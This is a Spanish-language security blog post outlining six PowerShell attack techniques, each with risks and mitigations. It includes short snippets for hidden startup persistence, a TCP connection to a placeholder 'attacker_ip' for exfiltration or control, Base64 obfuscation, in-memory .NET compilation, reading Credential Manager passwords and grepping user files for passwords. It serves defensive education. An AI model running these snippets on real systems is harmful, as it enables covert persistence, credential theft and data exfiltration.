Hacker La Red OscuraHacker La Red Oscura

PowerShell continúa siendo una herramienta fundamental tanto para la administración como para las operaciones ofensivas de actores maliciosos y red teams. Su nivel de integración con Windows, junto con su capacidad para interactuar con .NET, programar tareas, acceder a la red y manipular archivos o credenciales, lo convierten en un componente crítico dentro del panorama de seguridad.

A continuación se presentan varias técnicas empleadas para persistencia, ofuscación y extracción de información, junto con sus riesgos y contramedidas recomendadas.

1. Persistencia mediante tareas programadas

Ejemplo:

$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'

La creación de tareas programadas es una de las formas más comunes y duraderas de establecer persistencia. Permite que un comando, script o payload se ejecute automáticamente en cada reinicio del sistema.

Riesgos

  • Permite persistencia incluso tras reinicios.
  • La ejecución oculta (-WindowStyle Hidden) dificulta su detección visual.
  • Puede ejecutarse con privilegios elevados si se configura adecuadamente.

Mitigación

  • Revisar regularmente tareas programadas con Get-ScheduledTask.
  • Utilizar herramientas como Autoruns para identificar tareas sospechosas.
  • Aplicar restricciones de creación de tareas mediante políticas de grupo.

2. Comunicación de red encubierta

Ejemplo:

$client = New-Object Net.Sockets.TcpClient('attacker_ip', 443)
$stream = $client.GetStream()
# Enviar y recibir datos

PowerShell permite instanciar objetos .NET directamente, como TcpClient, para crear canales de comunicación discretos. Este tipo de conexión puede ser usado para exfiltración de datos o como canal de control remoto.

Riesgos

  • Tráfico saliente por puertos comunes (como 443) puede pasar desapercibido.
  • Puede integrarse en payloads fileless.
  • Evade herramientas que solo monitorizan procesos ejecutables, no conexiones de PowerShell.

Mitigación

  • Inspeccionar conexiones de PowerShell mediante EDR.
  • Restringir conexiones salientes a destinos desconocidos.
  • Implementar firewall interno con políticas restrictivas de egress.

3. Ofuscación mediante Base64

Ejemplo:

$command = 'Get-Process'
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -EncodedCommand $encodedCommand

El parámetro -EncodedCommand permite ejecutar instrucciones codificadas en Base64, lo que oculta su contenido en texto claro y complica su análisis inmediato.

Riesgos

  • Alta prevalencia en malware y scripts ofuscados.
  • Dificulta la revisión manual del comando.
  • Evade herramientas que buscan patrones comunes en texto plano.

Mitigación

  • Analizar parámetros de comandos de PowerShell en los logs de Script Block Logging.
  • Automatizar la decodificación de cadenas Base64 sospechosas.
  • Bloquear el uso de -EncodedCommand cuando no sea necesario.

4. Uso de Add-Type para ejecutar código .NET

Ejemplo:

Add-Type -TypeDefinition 'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'
[MyClass]::Run()

Add-Type permite compilar código .NET dinámicamente desde PowerShell. Esto puede utilizarse para insertar código malicioso disfrazado de lógica legítima.

Riesgos

  • Permite ejecutar código compilado en memoria.
  • Puede esconder actividades maliciosas dentro de clases aparentemente benignas.
  • Poco monitorizado por herramientas básicas de seguridad.

Mitigación

  • Bloquear el uso de Add-Type mediante políticas de restricción.
  • Activar Deep Script Block Logging para registrar los cuerpos de código.
  • Revisar scripts que incluyan código .NET incrustado.

5. Extracción de credenciales desde el Credential Manager

Ejemplo:

$credman = New-Object -TypeName PSCredentialManager.Credential
$credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object UserName, Password

El Manejador de Credenciales de Windows puede almacenar credenciales de múltiples aplicaciones. PowerShell permite interactuar con esos datos mediante módulos específicos.

Riesgos

  • Posibilidad de exfiltrar credenciales almacenadas en texto claro o reversible.
  • Dependencia de módulos externos como PSCredentialManager.
  • Puede emplearse para moverse lateralmente por la red.

Mitigación

  • Eliminar credenciales guardadas innecesariamente.
  • Utilizar gestores de contraseñas corporativos.
  • Revisar qué módulos están instalados y restringir su uso.

6. Búsqueda de contraseñas en archivos no seguros

Ejemplo:

Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive

Este comando busca la palabra “password” en documentos de usuarios, lo cual podría revelar contraseñas almacenadas de forma insegura.

Riesgos

  • Exfiltración de información sensible.
  • Abuso para auditorías internas no autorizadas.
  • Frecuente en movimientos laterales y reconocimiento dentro del sistema.

Mitigación

  • Aplicar DLP para detectar patrones sensibles en archivos.
  • Educar a los usuarios para no almacenar credenciales en texto plano.
  • Monitorizar accesos anómalos a directorios de usuarios.

Conclusión

Las técnicas anteriores no dependen de malware externo: son características legítimas de PowerShell y Windows que, usadas sin control, pueden ser explotadas para persistencia, ofuscación, exfiltración o robo de credenciales.